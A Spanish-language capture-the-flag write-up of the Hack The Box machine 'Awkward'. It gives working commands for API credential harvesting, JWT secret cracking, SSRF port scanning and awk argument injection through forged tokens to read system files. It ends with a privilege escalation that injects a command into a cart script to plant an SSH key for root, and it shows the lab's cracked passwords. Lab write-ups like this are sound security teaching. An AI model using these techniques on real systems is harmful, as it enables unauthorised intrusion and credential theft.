Descripción

Awkward es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Enumeración de API para obtener credenciales de la aplicación web
  • Falsificación de solicitud del lado del servidor en la aplicación web para descubrir la documentación de la aplicación web interna
  • Lectura de la documentación sobre un punto final inseguro vulnerable a vulnerabilidad de lectura de archivos, lo que lleva a la recolección de credenciales
  • Escalada de privilegios mediante escritura de archivos en permisos del servidor web e inyección de comando mail

Reconocimiento

First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.10.11.185.

$ ping -c 3 10.10.11.185
PING 10.10.11.185 (10.10.11.185) 56(84) bytes of data.
64 bytes from 10.10.11.185: icmp_seq=1 ttl=63 time=43.7 ms
64 bytes from 10.10.11.185: icmp_seq=2 ttl=63 time=43.5 ms
64 bytes from 10.10.11.185: icmp_seq=3 ttl=63 time=43.7 ms

--- 10.10.11.185 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 43.467/43.619/43.739/0.113 ms

La máquina está activa y con el TTL que iguala 63 (64 menos 1 salto), podemos asegurarnos que es una máquina Unix. Ahora vamos a realizar un escaneo de puertos TCP SYN para comprobar todos los puertos abiertos.

$ sudo nmap 10.10.11.185 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.185
Host is up (0.044s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.93 seconds

Obtenemos dos puertos abiertos: 22, y 80.

Enumeración

Luego realizamos un escaneo más avanzado, con versión del servicio y scripts.

$ nmap 10.10.11.185 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.185
Host is up (0.044s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 72:54:af:ba:f6:e2:83:59:41:b7:cd:61:1c:2f:41:8b (ECDSA)
|_  256 59:36:5b:ba:3c:78:21:e3:26:b3:7d:23:60:5a:ec:38 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.61 seconds

Obtenemos dos servicios: uno Secure Shell (SSH), y uno Hypertext Transfer Protocol (HTTP). Como no tenemos credenciales factibles para el servicio SSH, vamos a pasar al servicio HTTP. Añadimos el dominio awkward.htb al archivo /etc/hosts.

$ echo '10.10.11.185 awkward.htb' | sudo tee -a /etc/hosts

Nos redirigimos a la URL http://hat-valley.htb/.

$ echo '10.10.11.185 hat-valley.htb' | sudo tee -a /etc/hosts

Encontramos una página web sobre sombreros. Al revisar el código fuente de la página encontramos el siguiente código HTML.

<script type="text/javascript" src="/js/chunk-vendors.js"></script><script type="text/javascript" src="/js/app.js"></script></body>

Hay una referencia a los archivos chunk-vendors.js y app.js. Esto significa que la página web puede estar impulsada por el framework JavaScript VueJS. Si abrimos la vista Inspect del navegador encontramos en la vista Sources el código fuente de la página, con sus rutas en webpack://src/router/router.js, por ejemplo //hr/dashboard o /leave.

...
const routes = [
  {
    path: "/",
    name: "base",
    component: Base,
  },
  {
    path: "/hr",
    name: "hr",
    component: HR,
  },
  {
    path: "/dashboard",
    name: "dashboard",
    component: Dashboard,
    meta: {
      requiresAuth: true
    }
  },
  {
    path: "/leave",
    name: "leave",
    component: Leave,
    meta: {
      requiresAuth: true
    }
  }
];
...

Encontramos que los endpoints requieren autenticación, ya que nos redirigimos a /hr. De las APIs en la carpeta webpack://src/services encontramos muchos endpoints:

  • leave.js: /api/all-leave, /api/submit-leave
  • session.js: /api/login
  • staff.js: /api/staff-details
  • status.js: /api/store-status

Enumerando el endpoint /api/staff-details obtenemos información sobre todos los usuarios.

$ curl -s 'http://hat-valley.htb/api/staff-details' | jq
[
  {
    "user_id": 1,
    "username": "christine.wool",
    "password": "6529fc6e43f9061ff4eaa806b087b13747fbe8ae0abfd396a5c4cb97c5941649",
    "fullname": "Christine Wool",
    "role": "Founder, CEO",
    "phone": "0415202922"
  },
  {
    "user_id": 2,
    "username": "christopher.jones",
    "password": "e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1",
    "fullname": "Christopher Jones",
    "role": "Salesperson",
    "phone": "0456980001"
  },
  {
    "user_id": 3,
    "username": "jackson.lightheart",
    "password": "b091bc790fe647a0d7e8fb8ed9c4c01e15c77920a42ccd0deaca431a44ea0436",
    "fullname": "Jackson Lightheart",
    "role": "Salesperson",
    "phone": "0419444111"
  },
  {
    "user_id": 4,
    "username": "bean.hill",
    "password": "37513684de081222aaded9b8391d541ae885ce3b55942b9ac6978ad6f6e1811f",
    "fullname": "Bean Hill",
    "role": "System Administrator",
    "phone": "0432339177"
  }
]

Obtenemos los nombres de usuario y las contraseñas cifradas. Con el formato de la hash determinamos que es un hash SHA-256, por lo tanto intentamos romperlas con la herramienta John The Ripper.

$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA256 hashes 
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-SHA256 [SHA256 256/256 AVX2 8x])
Warning: poor OpenMP scalability for this hash type, consider --fork=16
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
chris123         (christopher.jones)     
1g 0:00:00:03 DONE 0.3300g/s 4733Kp/s 4733Kc/s 14287KC/s 02122271335..*7¡Vamos!
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
Session completed.

Para el usuario christopher.jones obtenemos la contraseña chris123. Ahora podemos iniciar sesión en el panel de control de RRHH con estas credenciales. Como respuesta de la iniciación de sesión obtenemos el siguiente Token Web JSON (JWT):

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNzYxMjU2NTEyfQ.d5F6pAHIbgLL6RrmhMBwsX57XLtcecoNEYJOgVYlNGs

En el payload tenemos dos campos, username con el nombre de usuario del usuario y iat con la fecha y hora de emisión del JWT. Vamos a intentar romper la clave de firma del JWT con la herramienta John The Ripper.

$ john --wordlist=/usr/share/wordlists/rockyou.txt jwt_hash                  
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
123beany123      (?)     
1g 0:00:00:04 DONE 0.2024g/s 2699Kp/s 2699Kc/s 2699KC/s 12as3dd45^^..1234ถุ
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Encontramos el valor 123beany123 para la contraseña de cifrado JWT. Ahora podemos suplantar a cualquier usuario en la base de datos. Con otros usuarios no encontramos ninguna información valiosa. Encontramos un campo Online Store Status en el panel de control en el que podemos encontrar si la tienda online está funcionando. En este caso no está funcionando. Verificamos si el dominio store.hat-valley.htb existe.

$ echo '10.10.11.185 store.hat-valley.htb' | sudo tee -a /etc/hosts

El dominio existe, pero está pidiendo credenciales y las credenciales de christopher.jones no funcionan. Actualizando el estado de la tienda desde el panel de control llamando al siguiente endpoint: /api/store-status?url=%22http:%2F%2Fstore.hat-valley.htb%22 con el parámetro url codificado en URL "http://store.hat-valley.htb". Vamos a crear un servidor HTTP para comprobar si cambiando el parámetro url a nuestro servidor nos envía una solicitud.

$ python -m http.server 80
$ curl -s 'http://hat-valley.htb/api/store-status?url=%22http:%2F%2F10.10.14.16%22'            
<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
...

Está funcionando, está devolviéndonos el contenido de la página. Con esta situación, si podremos recuperar páginas que solo el servidor o la red interna puedan acceder, el endpoint será vulnerable a la vulnerabilidad de Server Side Request Forgery (SSRF).

Explotación

Confirmamos que es vulnerable a SSRF ya que podemos acceder al recurso 127.0.0.1, que es la página principal que conocemos.

$ curl -s 'http://hat-valley.htb/api/store-status?url=%22http:%2F%2F127.0.0.1%22'
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Refresh" content="0; url='http://hat-valley.htb'" />
</head>
<body>
</body>
</html>

Vamos a enumerar todos los puertos internos de la máquina. Si recibimos una cabecera Content-Length con un valor mayor que 0, el puerto está activo. Vamos a utilizar la herramienta wfuzz para fuerza bruta los primeros 10000 puertos.

$ wfuzz -c -z range,1-10000 --hh 0 'http://hat-valley.htb/api/store-status?url=%22http:%2F%2F127.0.0.1:FUZZ%22'
...
=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================
000000080:   200        8 L      13 W       132 Ch      "80"
000003002:   200        685 L    5834 W     77002 Ch    "3002"
000008080:   200        54 L     163 W      2881 Ch     "8080"

Encontramos el 803002, y 8080. El puerto 80 redirige a la página principal que se encuentra en el puerto 8080. Descubrimos un servicio en el puerto 3002. Encontramos la documentación de la API. El código fuente del endpoint /api/all-leave muestra una posible vulnerabilidad de inyección de comandos.

app.post('/api/submit-leave', (req, res) => {
...
  const bad = [";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"]

  const badInUser = bad.some(char => user.includes(char));

  if(badInUser) {
    return res.status(500).send("Bad character detected.")
  }

  exec("awk '/" + user + "/' /var/www/private/leave_requests.csv", {encoding: 'binary', maxBuffer: 51200000}, (error, stdout, stderr) => {
    if(stdout) {
      return res.status(200).send(new Buffer(stdout, 'binary'));
    }
...

Está utilizando la herramienta awk para recuperar todas las solicitudes de vacaciones desde la base de datos del archivo .csv. Está filtrando algunos símbolos para evitar la vulnerabilidad de inyección de comandos. Encontramos que el valor user se recupera con la sesión abierta. Como vimos previamente, podemos crear nuestros propios tokens JWT con nombre de usuario personalizado. Por lo tanto, vamos a preparar uno para comprobar la vulnerabilidad de inyección de comandos. No podemos ejecutar otros comandos debido al filtrado de comandos, pero podemos leer archivos como /etc/passwd con el siguiente nombre de usuario /' /etc/passwd '/. Obtenemos el siguiente token JWT, por lo tanto cambiamos a nuestro navegador y nos dirigimos al dashboard anterior, al endpoint leave. Para crear el token JWT podemos utilizar JWT.io.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ldGMvcGFzc3dkICcvIiwiaWF0IjoxNzYxMjU2NTEyfQ.-pcG07w2zwxljv-PLf9ziO1SCQmZV0Y6SqDxB7F6MIc

Obtenemos los usuarios de la terminal: rootbean y christine.

$ curl -s -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ldGMvcGFzc3dkICcvIiwiaWF0IjoxNzYxMjU2NTEyfQ.-pcG07w2zwxljv-PLf9ziO1SCQmZV0Y6SqDxB7F6MIc' 'http://hat-valley.htb/api/all-leave' | grep sh
root:x:0:0:root:/root:/bin/bash
bean:x:1001:1001:,,,:/home/bean:/bin/bash
christine:x:1002:1002:,,,:/home/christine:/bin/bash
sshd:x:130:65534::/run/sshd:/usr/sbin/nologin

Enumeramos los directorios de los usuarios y encontramos que tenemos acceso al directorio de inicio del usuario bean y su archivo .bashrc.

$ curl -s -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ob21lL2JlYW4vLmJhc2hyYyAnLyIsImlhdCI6MTc2MTI1NjUxMn0.PGQI2MPgE5Oi3C4B729G2wiN3jom-wsQ5BZyjTAsvrY' 'http://hat-valley.htb/api/all-leave'
...
# custom
alias backup_home='/bin/bash /home/bean/Documents/backup_home.sh'
...

Encontramos una referencia a un script poco común. /home/bean/Documents/backup_home.sh. Lo recuperamos.

$ curl -s -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ob21lL2JlYW4vRG9jdW1lbnRzL2JhY2t1cF9ob21lLnNoICcvIiwiaWF0IjoxNzYxMjU2NTEyfQ.PICMN-0KPKok1G4q_GaUI96heiLpIreoi2aYL2yfp_8' 'http://hat-valley.htb/api/all-leave'
#!/bin/bash
mkdir /home/bean/Documents/backup_tmp
cd /home/bean
tar --exclude='.npm' --exclude='.cache' --exclude='.vscode' -czvf /home/bean/Documents/backup_tmp/bean_backup.tar.gz .
date > /home/bean/Documents/backup_tmp/time.txt
cd /home/bean/Documents/backup_tmp
tar -czvf /home/bean/Documents/backup/bean_backup_final.tar.gz .
rm -r /home/bean/Documents/backup_tmp

El script está creando un respaldo de todos los archivos del usuario bean en el archivo /home/bean/Documents/backup/bean_backup_final.tar.gz. Descargamos y extraemos.

$ curl -o bean_backup_final.tar.gz -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ob21lL2JlYW4vRG9jdW1lbnRzL2JhY2t1cC9iZWFuX2JhY2t1cF9maW5hbC50YXIuZ3ogJy8iLCJpYXQiOjE3NjEyNTY1MTJ9.7dDlpJTWkuc9F7Bjbh00VKKeaEZIvwDCEx95HjC_bQQ' 'http://hat-valley.htb/api/all-leave'
$ tar xvzf bean_backup_final.tar.gz                               

gzip: stdin: unexpected end of file
./
./bean_backup.tar.gz
./time.txt
tar: Child returned status 1
tar: Error is not recoverable: exiting now

Recibimos un error pero el archivo bean_backup.tar.gz se extrae. Extraemos el archivo bean_backup.tar.gz.

$ mkdir bean_backup
$ tar xvzf bean_backup.tar.gz -C bean_backup

Encontramos el bean_backup/.config/xpad/content-DS1ZS1 con lo que parece ser credenciales.

$ cat bean_backup/.config/xpad/content-DS1ZS1
TO DO:
- Get real hat prices / stock from Christine
- Implement more secure hashing mechanism for HR system
- Setup better confirmation message when adding item to cart
- Add support for item quantity > 1
- Implement checkout system

boldHR SYSTEM/bold
bean.hill
014mrbeanrules!#P

https://www.slac.stanford.edu/slac/www/resource/how-to-use/cgi-rexx/cgi-esc.html

Iniciamos sesión en la máquina con el protocolo SSH, usuario bean y contraseña 014mrbeanrules!#P.

$ ssh bean@hat-valley.htb 
...
bean@awkward:~$ id
uid=1001(bean) gid=1001(bean) groups=1001(bean)

Post-Explotación

Encontramos que la carpeta cart y product-details desde el /var/www/store son escribibles, también encontramos las credenciales de usuario de la página web en el /etc/nginx/conf.d/.htpasswd.

bean@awkward:~$ ls -la /var/www/store
total 104
drwxr-xr-x 9 root root  4096 Oct  6  2022 .
drwxr-xr-x 7 root root  4096 Oct  6  2022 ..
drwxrwxrwx 2 root root  4096 Oct  6  2022 cart
...
drwxrwxrwx 2 root root  4096 Oct  6  2022 product-details
...
bean@awkward:~$ cat /etc/nginx/conf.d/.htpasswd
admin:$apr1$lfvrwhqi$hd49MbBX3WNluMezyjWls1

Nos movemos al sitio web de RRHH para comprobar qué procesos se inician en la máquina cuando se envía la solicitud de vacaciones. Recibimos el mensaje Your request will be processed and sent to Christine for review.

bean@awkward:~$ .pspy64
...
CMD: UID=0     PID=5018   | mail -s Leave Request: christopher.jones christine
...

Encontramos que un mensaje mail se envía al usuario christine. Vamos a utilizar esto para inyectar un comando en el comando mail para obtener permisos de root. Vinculamos el archivo /var/www/private/leave_requests.csv donde se guardan las solicitudes de vacaciones a otro carrito ya que tenemos permisos de escritura.

bean@awkward:~$ ln -s /var/www/private/leave_requests.csv /var/www/store/cart/secondarycart

Entonces inyectamos un nuevo producto con un script malicioso que vamos a utilizar para inyectar una nueva clave SSH privada para el usuario root.

bean@awkward:~$ cd /tmp
bean@awkward:/tmp$ ssh-keygen -t rsa -b 1024 -f id_rsa
bean@awkward:/tmp$ cd
bean@awkward:~$ echo -e '***Hat Valley Product***\nrunscript --exec="!/tmp/ssh.sh"' > /var/www/store/product-details/4.txt
bean@awkward:~$ echo -e '#!/bin/bash\nmkdir /root/.ssh\ncat /tmp/id_rsa.pub >> /root/.ssh/authorized_keys\nchmod -R 700 /root/.ssh' > /tmp/ssh.sh
bean@awkward:~$ chmod +x /tmp/ssh.sh

Luego ejecutamos la solicitud para agregar el artículo al carrito para activar la vulnerabilidad.

$ curl --data 'item=4&user=secondarycart&action=add_item' --header "Authorization: Basic $(echo -n 'admin:014mrbeanrules!#P' | base64)" 'http://store.hat-valley.htb/cart_actions.php'

Entonces podemos crear una nueva sesión SSH como el usuario root.

bean@awkward:~$ ssh -i /tmp/id_rsa root@127.0.0.1
root@awkward:~# id
uid=0(root) gid=0(root) groups=0(root)

Flags

En la terminal root podemos recuperar las flags user.txt y root.txt.

root@awkward:~# cat /home/bean/user.txt 
<REDACTED>
root@awkward:~# cat /root/root.txt 
<REDACTED>